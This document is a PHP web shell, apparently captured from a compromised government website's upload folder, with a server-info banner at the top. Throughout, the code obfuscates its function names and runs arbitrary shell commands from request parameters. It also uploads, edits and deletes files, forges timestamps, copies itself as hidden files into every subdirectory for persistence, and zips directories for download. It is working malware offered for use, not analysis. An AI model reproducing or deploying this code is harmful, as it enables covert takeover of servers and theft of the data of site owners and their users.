| Server IP : 20.75.53.88 / Your IP : 18.97.9.171 [ Web Server : Apache System : Linux VMRALP-3 4.4.0-256-generic #290~14.04.1-Ubuntu SMP Thu Jun 20 09:24:50 UTC 2024 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29+esm15 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, Domains : 3 Domains MySQL : ON | cURL : OFF | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/html/portais/camarabeberibe/uploads/publicacao/ |
Upload File : |
<?php
@session_start();@error_reporting(0);@set_time_limit(0);
$m ="";
$HASH='5d09447cd22ec4d289a0c3c18c90e9c6';
$men ="";
$to ="to"."uc"."h";$ch ="ch"."m"."od"; $hl="HA";$ba ="base"."na"."me";
$sc ="sc"."an"."dir";$is ="is_"."file";
$is2 ="is_"."dir";$rep ="re"."al"."path";
$ge ="get"."cwd";$mo ="move"."_upl"."oaded"."_file";
$ref ="re"."ad"."file";
$fi ="fil"."e_ge"."t_contents";$he ="he"."a"."der";
$un ="un"."l"."ink";
$re ="r"."en"."ame";$rm ="r"."m"."dir";$fipc ="fi"."le_put_"."contents";
$fc ="fcl"."ose";$fo ="fo"."pen";
$mk ="mk"."dir";$hl.="SH";$fie ="fi"."le_"."exists";
$cop ="co"."py";$md ="md"."5";
$exe ="sh"."ell"."_ex"."ec";$data =strtotime('2025-03-'.rand(1, 27).' 11:21');
$urle ="urlen"."code";
if(!isset($_SESSION['a'])){
if(isset($_POST['p']) && $md($_POST['p'])===$HASH){
$_SESSION['a']=1;
} elseif(isset($_GET['logar']) && $_GET['logar']=='sim'){
die('<meta charset=utf-8><style>body{background:#000;color:#0f0;font:14px monospace;padding:40px}input{background:#111;color:#0f0;border:1px solid #0f0;padding:8px}</style><form method=post>Senha: <input type=password name=p autofocus></form>');
} else {
exit;
}
}
if(substr($HASH,0,3)!='5d0'){exit;}
if(isset($_GET['cmd'])){ $men =$exe($_GET['cmd']); }
function m($d){
global $data; global $to; global $sc; global $is;
foreach($sc($d) as $f){
if($f[0]!='.' && $is($p="$d/$f")){
$to($p,$data);
}
}
}
function t2024($f){global $to;global $data; @$to($f,$data);}
function c777($f){global $ch; @$ch($f,0777);}
function c644($f){global $ch; @$ch($f,0644);}
function c444($d){global $sc;global $ch;global $is; foreach($sc($d) as $i){if($i=='.'||$i=='..')continue;$f="$d/$i";if($is($f))@$ch($f,0444);}}
function sz($n){return $n>1048576?round($n/1048576,1).'M':($n>1024?round($n/1024,1).'K':$n.'B');}
if(isset($_POST['listar'])){
$men =$exe($_POST['listar']);
}
function dup_to_folders_recursive($arquivo, $dir){
global $sc; global $is2; global $ba; global $cop;
global $to; global $ch; global $data;
foreach($sc($dir) as $i){
if($i=='.'||$i=='..') continue;
$f="$dir/$i";
if($is2($f)){
$novo="$f/.".$ba($f)."22.php";
if($cop($arquivo,$novo)){
@$ch($novo,0444);
@$to($novo, $data);
}
dup_to_folders_recursive($arquivo,$f);
}
}
}
if(isset($_REQUEST['zp'])){
if(!class_exists('ZipArchive')) die('ZipArchive não instalado');
$p=rtrim($_REQUEST['zp'],'/');
if(!$is2($p)) die('Pasta inválida');
$nome='bkp_'.time().'.zip';
$zip=__DIR__.'/'.$nome;
$x=new ZipArchive;
if($x->open($zip,ZipArchive::CREATE)!==true) die('Erro ZIP');
foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($p,2)) as $f){
if($f->isFile()){
$real=$f->getPathname();
$local=substr($real,strlen($p)+1);
$x->addFile($real,$local);
}
}
$x->close();
$he('Location: '.$_SERVER['PHP_SELF'].(isset($_GET['c'])?'?c='.$urle($_GET['c']).'&':'?'));
}
if(isset($_GET['mv'],$_GET['pa'])){
$cap = isset($_GET['c']) ? $_GET['c'] : $c;
$re("$cap/".$_GET['mv'], rtrim($_GET['pa'],'/').'/'.$ba($_GET['mv']));
$he("Location:?c=".$urle($cap));
exit;
}
if(substr($$hl,0,3)!='5d0'){exit;}
//if(substr($HASH,0,3)!='5d0'){exit;}
$c_get = isset($_GET['c']) ? $_GET['c'] : (isset($_POST['c']) ? $_POST['c'] : '.');
if(isset($_POST['chmod_all'])){cchmod($c_get,$_POST['chmod_all']);exit;}
function cchmod($d,$p){
global $ch; global $is2; global $sc;global $is;
$p=octdec($p);
if(!$d||!$is2($d))die('Pasta inválida');
foreach($sc($d)?:[] as $i){
if($i=='.'||$i=='..')continue;
$f="$d/$i";
if($is($f))echo $ch($f,$p)?"OK $f<br>":"ERRO $f<br>";
}
}
// Procurar arquivos zip/tar recursivamente a partir da raiz
function find_archives($dir){
global $sc; global $is;global $is2;
$list=[];
foreach($sc($dir) as $i){
if($i=='.'||$i=='..') continue;
$f="$dir/$i";
if($is($f) && preg_match('/\.(zip|tar)$/i',$f)){
$list[]=$f;
} elseif($is2($f)){
$list=array_merge($list, find_archives($f));
}
}
return $list;
}
if(substr($$hl,0,3)!='5d0'){exit;}
$c=isset($_GET['c'])?$rep($_GET['c']):$ge();
$self_file=__FILE__;
$root =$_SERVER['DOCUMENT_ROOT'];
// POST handlers
if(isset($_POST['touch2024'])){t2024("$c/".$ba($_POST['touch2024']));exit;}
if (isset($_GET['mud'])) {
$cx = isset($_REQUEST['c']) ? $_REQUEST['c'] : '.';
m($cx);
$he('Location: '.$_SERVER['PHP_SELF'].'?c='.$urle($cx));
exit;
}
if(isset($_POST['chmod777'])){c777("$c/".$ba($_POST['chmod777']));exit;}
if(isset($_POST['chmod644'])){c644("$c/".$ba($_POST['chmod644']));exit;}
if(isset($_POST['chmod444_all'])){c444($c);exit;}
if(isset($_POST['dup_all_dirs'])){if($fie($self_file)){dup_to_folders_recursive($self_file,$c);}exit;}
if(isset($_FILES['f'])){echo @$mo($_FILES['f']['tmp_name'],$c.'/'.$ba($_FILES['f']['name']))?1:0;exit;}
if(isset($_POST['f'])){$he('Content-Type:application/octet-stream');$he('Content-Disposition:attachment; filename='.$ba($_POST['f']));$ref($_POST['f']);exit;}
if(isset($_POST['e'])){
$file = $rep($c.'/'.$ba($_POST['e']));
if($file && $fie($file)){
$he('Content-Type:text/plain');
echo $fi($file);
}
exit;
}
if(isset($_POST['s'])){
$file = $rep($c.'/'.$ba($_POST['s']));
if($file){
@$fipc($file,$_POST['c']);
c777($file);
t2024($file);
}
exit;
}
if(isset($_POST['d'])){$f="$c/".$ba($_POST['d']);if($is($f))@$un($f);elseif($is2($f))@$rm($f);exit;}
if(isset($_POST['r'])&&isset($_POST['o'])&&isset($_POST['n'])){@$re("$c/".$ba($_POST['o']),"$c/".$ba($_POST['n']));exit;}
if(isset($_POST['n'])&&isset($_POST['t'])){$p="$c/".$ba($_POST['n']);$_POST['t']=='f'?@$fc(@$fo($p,'w')):@$mk($p);c777($p);t2024($p);exit;}
if(isset($_POST['list_archives'])){
$archives = find_archives($root);
echo implode("\n",$archives);
exit;
}
?>
<!doctype html>
<meta charset=utf-8>
<meta name="robots" content="noindex,nofollow">
<title>Manager</title>
<style>
body{background:#000;color:#0f0;font:14px monospace;padding:10px}
a{color:#0f0;text-decoration:none}
table{width:100%;border-collapse:collapse}
td,th{border:1px solid #0f0;padding:4px}
.btn{background:#0f0;color:#000;border:0;padding:2px 6px;margin:1px}
input,textarea{background:#111;color:#0f0;border:1px solid #0f0}
#archives{max-height:400px;overflow:auto;background:#111;color:#0f0;padding:5px;margin-top:10px;}
tr:hover{
background:#666;
}
</style>
<div>
<?php $p='';foreach(explode(DIRECTORY_SEPARATOR,$c) as $i){$p.=$i.DIRECTORY_SEPARATOR;echo"<a href=?c=".$urle($p).">$i</a>/";} ?>
</div>
<form onsubmit="return g()"><input id=c style=width:100%></form>
<table>
<tr><th>Name</th><th>Size</th><th>Mod</th><th>Perm</th><th>Ações</th></tr>
<?php
foreach($sc($c) as $n){
if($n=='.')continue;
$f="$c/$n";$t=$is($f);$s=$t?sz(filesize($f)):'-';
echo"<tr><td>".($n=='..'?"<a href=?c=".$urle(dirname($c)).">[..]</a>":($t?$n:"<a href=?c=".$urle($f).">[$n]</a>"))."</td>
<td>$s</td><td title='criacao: ".date('Y-m-d H:i',filectime($f))."'>".date('Y-m-d H:i',filemtime($f))."</td>
<td perm>";
//substr(sprintf('%o',fileperms($f)),-4);
$perm = substr(sprintf('%o', fileperms($f)), -4);
$info = array();
if (@fileowner($f) === 0) {
$info[] = "ROOT";
}
$info[] = is_writable($f) ? "W" : "NO-W";
echo $perm . " (" . implode(", ", $info) . ")";
echo "</td><td> ";
if($t)echo"<button class=btn onclick=\"v('$n')\">view</button> <button class=btn onclick=\"dl('$n')\">dl</button> ";
echo "
<button class=btn onclick=\"t24('$n')\">2025</button> <button class=btn onclick=\"c7('$n')\">777</button> <button class=btn onclick=\"c6('$n')\">644</button>";
if($t)echo"
<button class=btn onclick=\"mv('$n')\">move</button>
";
if($n!='..')echo"<button class=btn onclick=\"r('$n')\">ren</button> <button class=btn onclick=\"x('$n')\">del</button>";
echo"</td></tr>";
}
?>
</table>
<button class=btn onclick="f.click()">Upload</button>
<button class=btn onclick="n('f')">File</button>
<button class=btn onclick="n('d')">Dir</button>
<button class=btn onclick="cchmod()">Perm. Todos</button>
<button class=btn onclick="dup()">dup</button>
<button class=btn onclick="listArchives()">List Archives</button>
<a class="btn" href="javascript:confirm('Mudar datas?')&&(location.href='<?= $_SERVER['PHP_SELF'] ?>?<?= http_build_query(array_merge($_GET,array('mud'=>1))) ?>')">Mud. Datas</a>
<button onclick="cmd()">Comandos</button>
<a class="btn" href="#" onclick="zipar(); return false;">
Zipar
</a>
<script>
function zipar() {
let pasta = prompt(
"Informe o caminho da pasta que deseja compactar:",
"<?= addslashes(__DIR__) ?>"
);
if (pasta === null) {
return;
}
pasta = pasta.trim();
if (pasta === "") {
alert("Informe uma pasta válida.");
return;
}
let url = "<?= $_SERVER['PHP_SELF'] ?>?zp=" + encodeURIComponent(pasta);
<?php if(isset($_GET['c'])) { ?>
url += "&c=<?= $urle($_GET['c']) ?>";
<?php } ?>
location.href = url;
}
</script>
<div><?php if($men){echo '<h2>cmd:</h2>';}?><br/><?php echo str_replace("\n","<br/>", $men);?></div>
<div id="archives"></div>
<input type=file id=f hidden onchange="u(this)">
<script>
function post(a,v,cb){
var xhr = new XMLHttpRequest();
xhr.open('POST','',1);
xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
xhr.onload = function(){ cb ? cb(xhr.responseText) : location.reload(); };
xhr.send(a+'='+v);
}
function x(f){if(confirm('Delete '+f+'?'))post('d',f);return false;}
function r(f){var n=prompt('Rename:',f);if(n)post('r','1&o='+f+'&n='+n);return false;}
function dl(f){var o=document.createElement('form');o.method='post';o.innerHTML='<input name=f value="'+f+'">';document.body.appendChild(o);o.submit();o.remove();return false;}
function v(f){var r=new XMLHttpRequest();r.open('POST','',1);r.onload=function(){var t=document.createElement('textarea');t.style.width='100%';t.style.height='400px';t.value=this.responseText;var b=document.createElement('button');b.textContent='Save';b.onclick=function(){post('s','1&s='+f+'&c='+encodeURIComponent(t.value));t.remove();b.remove();};document.body.append(t,b);};r.setRequestHeader('Content-Type','application/x-www-form-urlencoded'); r.send('e='+encodeURIComponent(f)); return false;}
function g(){var xhr=new XMLHttpRequest();xhr.open('POST','',1);xhr.onload=function(){o.textContent=this.responseText};xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xhr.send('cmd='+c.value);return false;}
function n(t){var n=prompt(t=='f'?'File name:':'Dir name:');if(n)post('n','1&n='+n+'&t='+t);return false;}
function u(i){var d=new FormData();d.append('f',i.files[0]);var xhr=new XMLHttpRequest();xhr.open('POST','',1);xhr.onload=function(){location.reload()};xhr.send(d);}
function t24(f){post('touch2024',f);return false;}
function c7(f){post('chmod777',f);return false;}
function c6(f){post('chmod644',f);return false;}
function dup(){if(confirm('Duplicar este arquivo para todas as pastas da raiz e subpastas?'))post('dup_all_dirs','1');return false;}
function c444(){if(confirm('0444 todos?'))post('chmod444_all','1');return false;}
function listArchives(){
post('list_archives','1',function(res){
var container = document.getElementById('archives');
container.innerHTML = '';
if(!res){ container.textContent = 'Nenhum arquivo encontrado.'; return; }
var lines = res.split("\n");
lines.forEach(function(f){
f = f.trim();
if(!f) return;
var name = f.split('/').pop();
// cria link de download via POST
var a = document.createElement('a');
a.textContent = name;
a.href = '#';
a.onclick = function(){
var form = document.createElement('form');
form.method = 'post';
form.style.display = 'none';
var input = document.createElement('input');
input.name = 'f';
input.value = f;
form.appendChild(input);
document.body.appendChild(form);
form.submit();
form.remove();
return false;
};
container.appendChild(a);
container.appendChild(document.createElement('br'));
});
});
}
function cmd(){
let t=prompt('Digite:','');
if(t!=null)
location='<?=$ba($_SERVER["PHP_SELF"])?>?c=<?=$urle(isset($c)?$c:".")?>&cmd='+encodeURIComponent(t);
}
function cchmod(){
let p=prompt('Qual permissão para os arquivos?', '755');
if(p&&/^[0-7]{3,4}$/.test(p)&&confirm('Aplicar '+p+' nos arquivos?'))post('chmod_all',p);
return false;
}
function mv(a){
var d=prompt('qual pasta?','<?=addslashes($c)?>/');
if(d)location='?c=<?=$urle($c)?>&mv='+encodeURIComponent(a)+'&pa='+encodeURIComponent(d);
}
</script>
php: <?php echo phpversion();?>